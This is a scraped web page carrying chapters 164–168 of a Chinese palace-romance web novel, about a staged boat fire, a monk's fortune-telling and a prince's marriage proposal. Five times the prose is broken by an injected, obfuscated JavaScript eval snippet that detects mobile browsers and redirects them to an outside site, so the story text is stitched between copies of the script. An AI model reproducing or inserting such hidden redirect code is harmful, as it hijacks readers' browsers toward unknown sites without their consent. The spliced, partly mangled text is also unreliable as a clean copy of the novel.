;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162019|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亏的也不会是他。 带着这样的心思,萧晏清刻意装扮一番,欣然赴约了。 画舫中的女子戴着面纱,垂眉敛目,静**在那里,自有一股岁月静好的独特韵味,想到那面纱下的绝色风姿,萧晏清的眸光不觉炽热起来。 两位贵客都登了船,画舫摇摇晃晃,慢慢往下游而去。 与此同时,另外一艘画舫中,萧晏辞正与人手谈,对面之人赫然是个光头老和尚。 老和尚穿了一身褪色的袈裟,胡须凌乱,眉毛发白,手边还摆着一个酒囊,时不时拿起来嘬两口,俨然是个不忌口欲的歪和尚。 他盯着棋盘,眉头紧锁,久久都没能落下一子。 萧晏辞的神色间十分隐忍,等了足足一盏茶,终于忍不住,“老和尚,你到底想好没有?” 悟尘捋了捋胡须,“莫急,莫急,年轻人要沉得住气。” “这步棋你已经想了两盏茶的时间!” “莫急,莫急,待老衲再好好斟酌斟酌。” 萧晏辞冷声,“那你自个人下吧,恕我不奉陪!” “莫急,莫急……” 萧晏辞起身就要走,悟尘连忙飞快下了一子,“好了好了,我落子了。年轻人就是浮躁,半点沉不住气。” 萧晏辞冷着脸,“你与旁人下吧,我奉陪不起。” 这臭棋篓子,这么多年了,还是半点长进都没有! 悟尘虎着脸,“你还想不想让我帮忙了?求人帮忙,就要有求人帮忙的态度。” 萧晏辞一噎,最后还是忍辱负重地重新坐了下来。 “一步棋最多只能考虑一盏茶的时间!” 悟尘慢腾腾地捋着胡须,“年轻人就是急躁……” 萧晏辞:忍! 萧晏辞招招都是狠招,终于在小半个时辰后,结束了这个棋局,悟尘以一子之差落败。 悟尘抓着自己的光脑壳,“再来一局。” 萧晏辞把手扣在棋盘上,“先谈正事。” 悟尘意犹未尽地收了手,又拿起酒囊灌了一口,“说吧,什么事?” 第164章 红鸾星动,命犯桃花 萧晏辞坐直了身子,神色也前所未有的认真。 “过些时日,宫里就会替我和两位皇兄选妃,我瞧上了一位姑娘,只想娶她一人。父皇若知晓大师回了京,必会传召入宫,届时请大师替我卜一卦,促成亲事。” 悟尘这老和尚,虽然不忌口欲,不修边幅,看上去与得道高僧没有半点相干,但这人偏偏还真有点本事。 德丰帝早年尚未登基之时,便得他批过两卦,每一卦都精准无比。 后来,萧晏辞出生,悟尘说他与自己有缘,又给他批了命格,也准得分毫不差。 萧晏辞虽然嘴上贬损他是招摇撞骗的老秃驴,但实际上也不得不佩服他的本事。 早在一个多月前,萧晏辞就派人寻他。 因为从那时起,他就已经对陆知苒起了心思。 父皇十分笃信悟尘这老和尚,若他亲口批命,为自己和陆知苒指婚,父皇定会多几分思量。 萧晏清那厮再想打她的主意,就是痴人说梦! 选妃之事突然提前,萧晏辞本以为寻不到这老秃驴,没曾想,他自己倒是突然现身了。 悟尘横眉倒竖,“没事老和尚,有事是大师,你小子真行。” 萧晏辞装傻,“棋局上的话怎能作数?您大**量,自然不会在意这些细节。” “老衲算得这京中有人红鸾星动,命犯桃花,敢情是你小子。你妄图欺君也就罢了,还想把老衲拉下水,真是胆大妄为!” 萧晏辞面不改色,“此事无关国运,只是我一个小小的私心罢了,算不得胆大妄为。” 悟尘冷哼一声,“那与老衲何干?” “大师不是一直想收我为徒吗?大师若帮我办成此事,我便拜您为师。” “你都拜我为师了,那得剃度出家,还想娶王妃?你小子做什么美梦呢。” 萧晏辞朝他的酒囊瞟了一眼,“你当了和尚不也照样喝酒吃肉,我便是娶妻生子,又有何不可?” 悟尘:…… “那能一样吗?” “有什么不一样?” 悟尘被他问住了,一时语塞。 “老衲当初想收你为徒,你百般不愿,现在你凡心已动,已不适合入我佛门。” 萧晏辞朝那棋局瞥了一眼,“若您帮我办成此事,您想下棋,我随时奉陪!” 下棋是他平生一大爱好,偏生是个臭棋篓子,没人愿意与他对弈。 “那也不行。老衲乃出家人,出家人不打诳语,更不会做那欺君之事。” “你有什么条件,尽管提,只要我能做到,定不会推辞。” 悟尘看他这副模样,很是稀罕。 “什么天仙下凡的美人,能把你这目高于顶的小子迷成这样?” 萧晏辞唇角微勾,露出一抹笑来。 “她很好,任何女子都比不上她。” 悟尘鸡皮疙瘩顿时掉了一地。 好家伙,这小子动起凡心竟然这么恶心巴拉的。 “老衲不做那媒婆之事,若你们二人成了怨偶,那岂不是老衲的罪过?” 萧晏辞一脸真诚,“我若娶了她,定会把全天下最好的东西捧到她面前,绝不会让她受半分委屈。” 悟尘面露嫌弃,似被逼无奈才做了退让,“她是何人?可有生辰八字?” 萧晏辞早有准备,立马双手恭敬奉上,脸上尽是讨好之色。 悟尘哼了一声,“老衲把话说在前头,她若与你八字不合,你便是说得天花乱坠,老衲也不会应承此事。若因此促成一桩孽缘,损了功德,那就是罪过!” 萧晏辞带着一股十足的笃定与自信。 “她是我的命定之人,我们的八字不可能不合。” 悟尘打开那生辰八字,手中掐诀,似在推演。 他轻轻“咦”了一声,面上多了几分古怪。 这命格,有些意思。 萧晏辞正待开口询问,外头就传来了一阵喧哗。 “走水了,有一艘画舫走水了!火势好大!” “快,快救人!” “咦?那,那不是六皇子吗?他怀里抱着的女子是谁?” 听到老熟人的名字,萧晏辞的眉峰微动。 悟尘大师比他还爱凑热闹,“走,先去看看热闹。” 萧晏清在水里拼命挣扎,原本以他的水性,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162020|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人也能很轻松,偏生这人一直死命扒拉自己,他几次沉入水里,喝了好几口水。 萧晏辞命人放下小船,把人捞了上来。 萧晏清和那女子浑身湿漉漉地趴在小船上,总算能喘口气。 萧晏辞居高临下地欣赏他的狼狈,“六皇兄,你最近是不是水逆啊?三番两次落水,身边还总有美人相伴,这回这位美人又是何许人也?” 卢诗音那身轻薄的衣裳见了水,全都服帖地粘在身上,勾勒出婀娜的身形。 萧晏清立马用身子将其挡住。 他迎着萧晏辞的目光,挑衅般地开口。 “为兄今日得平乐县主相邀,一同游湖赏景,但实在不巧,画舫竟走了水,惊扰了美人。” 萧晏辞闻言,脸色剧变。 “你说什么?” 萧晏清见他变了脸色,心头闪过一抹快意。 “多谢小七出手,救了为兄和平乐县主。县主放心,本王与你有了肌肤之亲,定然也会对你负责,不会叫你受半点委屈。” 他低头,深情看着怀中人,不想,入目便是一张完全意想不到的脸,且那脸上还有一道明显的伤疤,其伤口被水泡得发脓,显得越发渗人。 双重惊吓,让萧晏清瞬间失态,“怎么是你!” 好个卢诗音,竟敢冒充陆知苒,戏耍自己! 心中产生了一股被愚弄的愤怒,他伸手一推,“咚”一声巨响,卢诗音就这么被华丽丽地推下了水。 “救,救命,救命!” 萧晏清又推了小舟上那船夫一把,“快把人救上来!” 只要卢诗音被别的男人碰了身子,就没有资格进他的门,这就是她胆敢算计自己的代价! 萧晏辞本想第一时间冲下去救人,待看清了水中之人的脸,他又硬生生地刹了车。 萧晏清的动作被他尽收眼底,一下就明白了对方意图。 好狠毒的心思。 他正准备吩咐会水的丫鬟下去救人,另外一艘画舫上就接连跳下了几名女子,她们的水性极佳,很快就把卢诗音成功救起。 那艘画舫上,赫然是萧宝珠和陆知苒。 第165章 一面之缘 见到她,萧晏辞悬着的心终于彻底放了下去。 卢诗音被拉上画舫,连吐了几大口水,终于悠悠转醒。 第一眼便见到了完好无损的陆知苒,她瞬间瞪大了眼睛。 “你,你,你怎么会没事?” 她明明派人埋伏,把她的脸划花,为何她会没事? 陆知苒轻轻比了个“嘘”,“卢小姐稍安勿躁,先听听下面那场好戏。” 萧宝珠站在甲板上,满脸谴责地高喊,“六皇兄,你怎能把卢小姐推入水中,还让一个船夫去救她?你这不是要毁了她的清白吗?” 萧晏清的面色僵硬,心中升起一股更深的恼恨。 可恶! 他为自己找补,“我只是一时失手罢了。” 萧宝珠义愤填膺,“你的一时失手,险些害了她的性命!我非要向父皇告你一状不可!” 萧晏辞冷冷地补刀,“六皇兄明明是与卢小姐幽会,为何要谎称是平乐县主?你不仅毁了卢小姐的名声,还要让平乐县主名声受损,此番作为,委实有些小人行径了。” 萧晏清百口莫辩。 周围画舫有不少人都纷纷出来围观,大家低声议论起来。 “六皇子前些时日不是刚救了宣平侯府的小姐,要迎娶其为侧妃吗?这又马上和卢家小姐幽会,实在是过于风流了。” “以往总听说六皇子温润如玉,风度翩翩,是正人君子,而今看来,只怕未必。” 萧晏清听得这些议论,只觉得羞耻至极。 今日,分明是陆知苒邀他,为何会变成了卢诗音?是她们二人联手算计他?还是说,这一切都是卢诗音假借陆知苒的名义行事? 不管是哪一种情况,他都栽了。 除了认栽,别无他法! “此事,都是一场误会。我听说卢小姐受了伤,心中挂念,这才邀她一起出来游湖散心。谁料画舫竟然走了水……无论如何,今日之事都是我的过错,我自会对她负责!” 卢诗音听了这话,眸底顿时闪过一抹欣喜。 虽然陆知苒的脸没有被毁,但至少,她即将成功嫁入六皇子府! 总算不枉费她如此辛苦谋划。 萧晏清的手下匆匆赶来,把他接走了。 他在人前头一回有种落荒而逃的狼狈。 萧宝珠让人给卢诗音换了一身衣裳,又替她把脸上的伤处理了一番。 卢诗音一脸警惕地看着她们二人,“别以为你们救了我,我会感激你们。” 萧宝珠翻了个白眼,“谁稀罕你的感激,你还是好好想想此事该如何善后吧。” “善后?我,我有什么好善后的?” 陆知苒悠悠反问,“卢小姐,你冒充我的名义与六皇子幽会,又放火烧了画舫,在众目睽睽之下赖上他,你觉得,他会傻到半点都猜不到?” 卢诗音一瞬心虚,“我……我可以说是你指使的,你才是主谋。” “我就算是主谋又如何?我根本不在乎他怎么想我,但你就不一样了,你马上就要嫁进六皇子府,日后你岂会有好日子过?” 卢诗音脸色几番变化。 “我猜,他只怕也只会给你求一个侧妃之位。” 卢诗音高声反驳,“不可能!我乃堂堂大学士之女,怎,怎么可能只得一个侧妃之位?” 萧宝珠扎刀,“可你毁了容,又当众出了丑,损了名节,自然难当正妃。” 卢诗音面色笼上一抹不甘。 区区一个侧妃,怎么配得上她? 陆知苒又开了口,“如果我是你,就会立马回家,求你父亲入宫,替你推了这门亲事。” 卢诗音立马竖起了浑身的警惕。 “你还想诓我给你腾位置,做梦!” 萧宝珠恨铁不成钢,“我们这是在帮你!今日之事闹得不小,六皇兄理亏,但他若以你容貌有损和人前失仪的由头做文章,你定然坐不上正妃之位。若你父亲向父皇求封正妃,父皇只会觉得你们卢家太过得寸进尺,定不会允。” “相反,若他态度坚决地辞了这门亲事,皇家的颜面就过不去了,父皇为了安抚你们卢家,定会松口,允你正妃之位。” 陆知苒有些意外地看着萧宝珠,眸底多了一丝欣赏。 她在这件事上,倒是想得十分通透到位。 卢诗音闻言,整个人都有些愣怔。 “当,当真如此?” 萧宝珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162021|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气笃定,“那是我父皇,我比任何人都了解他,信我的错不了!” “你,你们为何帮我?” 陆知苒淡淡一笑,“我无意六皇子,既然卢小姐对他一往情深,我自然乐于成全。另外,我与宣平侯府有仇,这一点,卢小姐应当知晓吧。” 卢诗音很快明白过来。 她这是要抬自己,对付楚云清! 卢诗音看了陆知苒一眼,“日后,我定会好好关照楚云清。” “那我便祝卢小姐得偿所愿了。” 卢诗音不再多说,匆匆离去。 萧宝珠脸上露出一抹幸灾乐祸的笑,“这下子,六皇兄府里就有得热闹了。” 陆知苒唇角亦勾起一抹笑来。 “我方才看到七皇兄了,他身边那个人,好像是悟尘大师。” 陆知苒惊讶,“悟尘大师?就是当初给瑾王殿下批命的那位高僧吗?” 萧宝珠连连点头,“没错没错,就是他。” 萧宝珠正准备前去拜访,萧晏辞就派人来请她们了。 一见到人,萧宝珠就脆生生地道:“见过悟尘大师,两年未见,大师您越发光彩照人了。” 悟尘捋了一把胡须,满脸笑呵呵。 “你个女娃,还是那么讨喜,不像某些臭小子。” 目光一转,悟尘大师又看向陆知苒,目光中带着一股别有意味的打量。 陆知苒愣怔地看着眼前的光头和尚。 前世,她与这位大师曾经有过一面之缘。 彼时楚翊安尚未凯旋,她偶遇一个不修边幅的老和尚,对方硬是给她卜了一卦。 他说:“你天生富贵,但命有一劫,若熬过此劫,便可一生顺遂无忧。若当断不断,便会反受其乱,你的命数,也会改变。” 彼时她并不知对方身份,也没把这话放在心上,只当他是个招摇撞骗的骗子。 后来细想,他的话句句说在了点子上。 楚翊安和赵书宁,便是她命里的一劫。 早在他把赵书宁带回侯府,抬为平妻,为其请封诰命之时,自己就该果断和离。 前世的自己的确当断不断,最后生生把自己困死在了宣平侯府后院之中。 第166章 是个有福气的女娃 悟尘大师捋着胡须,笑眯眯地看着陆知苒。 “你这女娃,老衲瞧你颇为面善,我们是否曾经见过?” 陆知苒回过神来,连忙朝他恭敬屈膝行礼。 “臣女见过悟尘大师。两年前,臣女偶遇大师,曾得大师算了一卦,彼时臣女不知大师身份,多有怠慢,还请大师见谅。” 悟尘大师哈哈大笑,“你还记得老衲。没有怠慢,没有怠慢,彼时你赠了老衲一壶上好的玉酿,比老衲喝过的所有酒都好喝。” 他轻易不会给人算卦,当时见了陆知苒,第一眼便觉得她命格特殊。 他厚着脸皮上前讨酒,她身边的小厮要将他驱赶离开,陆知苒却将人拦下,又命人给他送了一壶酒。 悟尘当场豪饮一场,十分痛快。 也是看在那壶酒的份儿上,他才给陆知苒批了一卦。 而今看来,她的劫数已然迈过,前路已是一片坦途。 是个有福气的女娃。 陆知苒道:“大师若是喜欢,我再命人给您多送几坛子来。” “好好好,甚好,还是你懂事,不像有些人,求人办事也没个好态度。” 萧晏辞:…… 他还不够好态度? 萧宝珠感叹,“你们竟然见过,当真太有缘了。大师,你都给苒姐姐算过卦了,也给我算一卦呗,咱们都那么熟了。” 悟尘大师摆手,“老衲只给有缘人算卦,你这女娃无甚好算的。” 萧宝珠还没来得及生气,陆知苒就道:“大师只给命中有坎之人算卦,指点迷津,宝珠你一生平顺,自然无甚好算的。” 萧宝珠立马被哄住了,笑眯眯起来。 “大师,你要是这么说不就好了。” 陆知苒一脸认真且感激地望着他,“当初多谢大师指点迷津,小女子感激不尽。” “我不过是动了动嘴皮子罢了,真正自救的是你自己。以后,我也不会再给你算卦咯。” 陆知苒眸光微动,旋即又朝他恭恭敬敬行了一礼。 “多谢大师。” 萧宝珠脑子慢了半拍,后知后觉才反应过来,他的意思是,未来苒姐姐都不会再遇到什么坎,所以自然不需要再给她算卦。 萧宝珠也跟着高兴起来,萧晏辞看着她的眼神更是盛满了笑意。 萧晏辞转而问起了方才之事,“此事可有你们的手笔?” 萧宝珠装傻,“七皇兄,你说什么呢,六皇兄和卢诗音幽会,那是他们两人自己的事,我们哪有本事插手?” 陆知苒亦笑而不语。 萧晏辞见此情形,心中便有了猜测。 宝珠没这脑子策划这一切,这多半是陆知苒的手笔。 想起他那皇兄方才那副狼狈模样,萧晏辞的唇角便勾起了一抹淡淡笑意。 凡事可一不可二,他接连两次以这种方式坏了旁人的清白,在父皇那里,他定讨不到好。 萧宝珠和陆知苒走后,悟尘大师朝萧晏辞投去一记赞赏的眼神。 “你小子眼光不错,只是,老衲瞧着,人姑娘家对你可没那方面的意思。” 萧晏辞一梗,旋即道:“我会亲口征得她的同意。” 眼下,她或许对自己没有男女之情,但迟早有一日,自己会慢慢打动她。 而宫中,萧晏清果然狠狠挨了德丰帝的一顿训斥。 他第一时间向李贵妃通风报信,母子二人一通双簧,咬准了卢诗音面容有瑕,不堪正妃之位。 原本德丰帝都要点头答应了,谁料这时大学士卢文渊前来求见。 大家都以为他是来为女儿求正妃之位,谁料他却反其道而行,非但不求正妃之位,更是连侧妃都不要。 “小女容貌有损,又当众失仪,就算与六皇子有了肌肤之亲,也不配入六皇子府。她败坏了卢家的名声,也带累了六皇子,微臣回府之后就将她送去家庙,让她青灯古佛,了此残生!” 李贵妃和萧晏清见此,便知坏了,父皇便是看在老臣的面子上,也定要给出一个体面的交代。 德丰帝的面色几番变化,缓了语气好生安抚了卢文渊一番,最后直接点了卢诗音为六皇子正妃。 卢文渊几番推辞,德丰帝的态度越发不容置疑,“此事是小六做得不妥,朕若是不给令爱一个交代,岂不是堕了皇家的脸面?” 最后,卢文渊便一脸感动地领旨谢恩。 李贵妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162022|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和萧晏清的脸色都不好看,但他们也知事成定局,不敢多说半个字,认命地接受了此事。 回到毓秀宫,李贵妃气得抬手就想给萧晏清一记耳光,最终到底是不忍心,又恨恨地放下了。 “你看看你做的这桩糊涂事!白白浪费了一个正妃之位不说,在朝堂,在民间的名声也要因此受损,还让你父皇对你更加失望,你是要气死我不成?” 萧晏清脸色青白交错,十分难看。 “这次是儿臣大意了,这才中了那**的圈套。” 李贵妃勉强压下火气,“说说,究竟是怎么一回事!” 萧晏清便把事情的来龙去脉一一到来,李贵妃眼神微眯。 “卢家那丫头素来跋扈无脑,她能有如此精明的脑子?而且偏偏这么巧,萧晏辞和陆知苒都在那儿看戏?” 萧晏清的头脑一点点慢慢清醒过来,但又有些不敢置信。 “卢诗音怎会与他们搅和在一起?” 李贵妃冷冷道:“以往自是不会,但她毁了脸,没法参加皇子妃候选,就只能走些旁门左道。他们拿捏了她的弱点,自然就能加以利用。” 萧晏清胸中顿时燃起一团熊熊火苗。 “他们敢把我当猴耍,简直欺人太甚!” 李贵妃恨铁不成钢,“只能怪你太过大意,掉以轻心!你明知陆知苒那女人心机深沉,还敢赴约!” 萧晏清一梗。 男人天然的自信作祟,他一直都不把陆知苒放在眼里,即便上次失手,他也只当是意外。 谁能想到,这女人竟如此狡诈! 迟早有一日,他定会叫这女人付出代价,让她只能在自己身下求饶! 李贵妃却道:“陆知苒这步棋得弃了。” 萧晏清脱口,“为何?” “此女与我们不是一条心的,我们压不住她。她进了六皇子府,只怕不会是你的助力,还会成为潜伏在你身边的一条毒蛇!若她在你身边,与萧晏辞里应外合,你能防得住吗?” 萧晏清浑身一个激灵,脑中冒出几个字,蛇蝎美人。 她怎么就看上了萧晏辞?却百般瞧不上自己?自己到底哪里不如萧晏辞那个莽夫? 第167章 可愿当本王的王妃? 萧晏清不愿放手,“大不了进门之后再让她病故便是,她富可敌国,若就这么放弃,我实在不甘。” 李贵妃却分外果决,“我们可以另想他法,但她决不能再进六皇子府。凡事再一再二不再三,我们的计划也已经行不通了。若你的三个妃子都因与你有肌肤之亲才进的门,你父皇会怎么看你?众朝臣怎么看你?若萧晏辞以此大做文章,那你在外经营多年的好名声就要毁于一旦。” 萧晏清闻言,瞬间清醒。 是,为了一个陆知苒,坏了自己多年的好名声,实在不值。 “就算如此,也断然不能便宜了萧晏辞!” “母妃自有安排,你无需再管。最近这段时日,你便好好当差,万不能再出半点纰漏,可听明白了?” 萧晏清缓缓点头。 “卢家那头,你也要有所表示,最好亲自登门致歉。” 萧晏清脸色立时一沉,心底生出一股憋屈。 李贵妃出言安抚,“母亲知道你心里委屈,但事已至此,你更要把卢家笼络住,万不能让卢家与你离了心。” 萧晏清心里依旧有气,也放不下身段,“卢家有皇姐在,何须我亲自出面?” “你皇姐怀了身孕,眼下养胎要紧,分不出神来顾及那么多。再说,你亲自出面和你皇姐出面能一样吗?晏清,你以往素来礼贤下士,而今,莫要因短暂的失利就浮躁了。能屈能伸,方能成大事。” 萧晏清听了这话,原本的浮躁终于被安抚下去。 他深吸一口气,朝李贵妃恭敬一礼,“儿臣知错了,定谨记母妃教导。” 他又想起了另外一桩事。 “母妃,儿臣今日好似在萧晏辞的画舫上瞧见了悟尘大师。” 李贵妃眼底闪过一抹厌烦,“又是那老秃驴,每次他一回京准没好事!” 当初,李贵妃也曾向悟尘大师示好,请他给萧晏清批命,但他竟然半点不买账,还说,他的卦不是随随便便给人批的。 呸!她家晏清是龙子凤孙,是随随便便的人吗? 那老秃驴四处云游,每隔几年回京一趟,都不忘给萧晏辞算卦,批命,其他人都没这待遇。 因为这层关系,皇上待萧晏辞也更亲厚几分。 李贵妃揉了揉眉心,“那老秃驴向着萧晏辞,他在京的这段时日,你更要小心着些,莫要给人落了把柄。” 萧晏清沉声应是。 皇上的圣旨很快到了卢家,卢诗音接到圣旨的那一瞬,悬着的心才终于彻底放下。 这个消息很快传到宣平侯府,楚云清傻眼了。 卢诗音性子刁蛮跋扈,又对六皇子一往情深,独占欲极强,自己在她手底下,岂有好日子过? 她满心慌乱,只能是房间里大骂卢诗音不要脸,竟然用同样的法子赖上六皇子。 赵书宁来时,正听到她的辱骂,不堪入耳。 “若是进了六皇子府,你还这般口无遮拦,就等着吃苦头吧!” 楚云清见了她,立马像是抓到了救命稻草。 “嫂嫂,你听说了吗?卢诗音被封为六皇子正妃了!她定会对我百般刁难,我可怎么办啊!” “慌什么?” 赵书宁听说此事时,心里也是狠狠一沉。 她刻意在卢诗音的面前挑拨,本意是让她对陆知苒出手,毁了她的容貌。 谁曾想,卢诗音竟另辟蹊径,自己设局成了六皇子妃。 这自然不是赵书宁想看到的。 但事已成定局,再懊恼也已无用,唯有想法子弥补。 楚云清眼巴巴地望着她,“好嫂嫂,你快给我支支招吧。” “你唯一需要做的,是尽早怀上身孕。只要有子嗣傍身,她就为难不了你。” 楚云清眼神幽怨,“我自然也想啊,但她是正妃,她自己没怀,又岂会让我先有子嗣?” “我会给你调配助孕丹,你只需要在侍寝之前服用,就能大大增加怀孕几率。而她……” 赵书宁摸了摸自己怀里那瓶冰肌玉露膏,眸底闪过一抹冷色。 既然卢诗音自己要往六皇子府凑,那就不要怪她手下不留情了。 她的伤口碰了水,又发生了化脓,要想恢复如初,就得加大剂量。 持续使用,她就会失去做母亲的资格。 一个生不出孩子的正妃,有什么价值? 赵书宁看向楚云清,“在顺利生下孩子之前,你都得隐忍,不论她怎么挑衅,怎么刁难, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162023|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你都要忍,明白了吗?你若与她正面对上,那就是主动把把柄递到她面前,到时候,任何人都帮不了你。而你若生下六皇子的长子,未来就会有无限的可能。” 楚云清听了她画的大饼,原本惊慌害怕的情绪被安抚,整个人瞬间充满了斗志。 “我明白了!” 叮嘱一番,赵书宁便不再久留。 她心中并未有自己表面上所表现得这般轻松。 卢诗音这个意外变故让她意识到,事情不会完全照着她的预期发展,楚云清这步棋的不确定性也在进一步加大。 落子无悔,楚云清这步棋就算是一步臭棋,她也要扭转乾坤! …… 锦绣坊诸事慢慢步入正轨,萧宝珠也空闲了不少,便隔三差五邀陆知苒赏花游玩。 这一日,她们相约去了陆知苒的庄子,庄子上风光极美,能在凉亭处围炉煮茶,还有野果野味可以享用,萧宝珠口水都要馋下来了。 萧晏辞再一次不请自来了,萧宝珠见了他顿时一脸嫌弃。 “七皇兄,你最近很闲吗?” 她的大餐马上就要上来了,他倒是来得赶巧。 萧晏辞目光定定落在陆知苒的身上,“我有事与县主相谈。” 陆知苒见他神色郑重,也多了几分正色。 “殿下请说。” 萧晏辞看了萧宝珠一眼,“闲杂人等请自觉回避。” 萧宝珠指了指自己,“我是闲杂人等?” 萧晏辞给了她一记自己体会的眼神。 萧宝珠气哼哼地起身,还剜了萧晏辞一眼。 “殿下,可是西平那边有了什么最新消息?是蒋公子出事了吗?” 能让他这般郑重,还特意把萧宝珠支开的,陆知苒就只能想到这件事了。 萧晏辞的神色一顿,想到了她当初对蒋南笙似乎颇为仰慕。 原本就强装出来的镇定又垮了几分。 但面上他却半分不显露,“不是西平之事,本王要与你谈的乃是私事。” 陆知苒面露疑惑,他们之间有什么私事要谈? 临阵脱逃不是他的秉性,他暗暗握拳,一鼓作气,沉声开口。 “本王想问问县主,可愿当本王的王妃?” 第168章 算盘珠子都打到她脸上来了 陆知苒:…… 饶是她活了两辈子,也被这话惊了一跳。 萧晏辞一直观察着她的神色,见她面上除了惊讶以外,并无半分羞赧情绪,心头升起一股淡淡失落。 但转念一想,这本也是他预料之中的结果。 至少,她对自己并无嫌恶。 “殿下,何出此言?” 萧晏辞一脸正色,“本王这话的确有些冒昧,但此番提议乃是顾全大局的最佳选择。萧晏清那厮对你百般觊觎,你做了本王的王妃,他才会彻底死心。” “而且,本王也有私心,本王原是天生破财的命格,但自从遇到县主,本王这才有了些许财运,或许,你便是本王的财神爷,把你娶回去,本王的命格才能扭转。” 她待自己全无男女情愫,他便字字句句不提情爱,只把这场联姻当成一场互惠互利,强强联合的交易。 只要她进了门,他定能慢慢捂热她的心。 陆知苒短暂的愣怔之后便恢复如常,她的脑中也开始思考起这件事。 在这场夺嫡之争中,萧晏辞是她选中的人选。 起初做出这个选择,是基于前世的印象和判断。 但经过这段时间的相处,她也越发笃定自己的选择没有错。 情爱于她而言不过过眼云烟。 唯有至高无上的权利,才是她心之所向。 权利不会背叛她,还能让那些曾经的欺辱她的人俯首称臣,谁会不想要? 陆知苒的眸底闪过一抹勃勃野心。 她只思考了短短几瞬的时间,便点头答应了。 “能得殿下看重,实乃臣女之福分,臣女岂有拒绝之理?” 听了这话,萧晏辞的心这才稳稳落了回去。 面上,他却端出了一副沉稳镇定的姿态,“那,以后就多多关照,未来王妃。” 最后几个字音落下,带着一股莫名的缱绻,陆知苒心头莫名有股异样划过。 “选妃之日恐生波澜,你看顾好自己,其余事,交由本王来办。” 陆知苒点头。 正事谈完,二人一时相对无言,气氛莫名添了几分尴尬。 身份即将发生转变,二人都没有完全适应。 这时,下人抬着烤好的野兔和野鸡上来了,萧宝珠顿时欢呼出声。 “苒姐姐,七皇兄,你们谈完没有?快,准备开吃了!” 二人的古怪氛围这才被打破。 一回生二回熟,对于三人同桌而食之事,陆知苒已然**以为常。 庄子上的野味味道鲜美,即便陆知苒不重口腹,也吃得十分酣畅。 萧宝珠腾出空档问,“你们方才在聊什么?” 陆知苒神情微顿。 她能说,是在聊终身大事吗? 萧晏辞淡淡道:“吃都堵不住你的嘴。” 萧宝珠“切”了一声,没有再追问。 他们三人倒是悠闲自得,但有些人却正在为银子焦头烂额。 赵书宁刚回到侯府,姜氏就派人来请她,说是有要事相商。 见到赵书宁,姜氏露出了一抹慈和的笑。 “书宁,你来了,快来,到母亲跟前坐。” 赵书宁一见她这番姿态,心中就多了几分警惕。 “母亲有什么事就说吧,我还有医书要看。” 姜氏便也收起了那副做派,直入主题。 “过不了多久,清儿就要出嫁了,她的前程不一般,要当皇家儿媳妇,嫁妆自然要足够体面,不能寒酸了。但你也知道,咱们侯府的日子过得紧巴,眼下,实在是拿不出像样的嫁妆……” 赵书宁闻言差点气笑了,她这算盘珠子都快打到自己脸上来了。 上回的两笔账还没跟她算,她竟又想打自己银子的主意,把自己当冤大头? “那依母亲之见,此事该如何解决为好?” 姜氏看着她,满脸殷切。 “你这段时日颇得贵人看重,得了不少赏赐,不若你先把那些东西拿出来,给清儿把嫁妆筹齐。母亲知道这样不合适,但眼下侯府的情况,也是没法子。你放心,母亲给你打欠条,待侯府宽裕了,自会第一时间还你。” 这话,与当初哄她出银子办喜宴时一模一样。 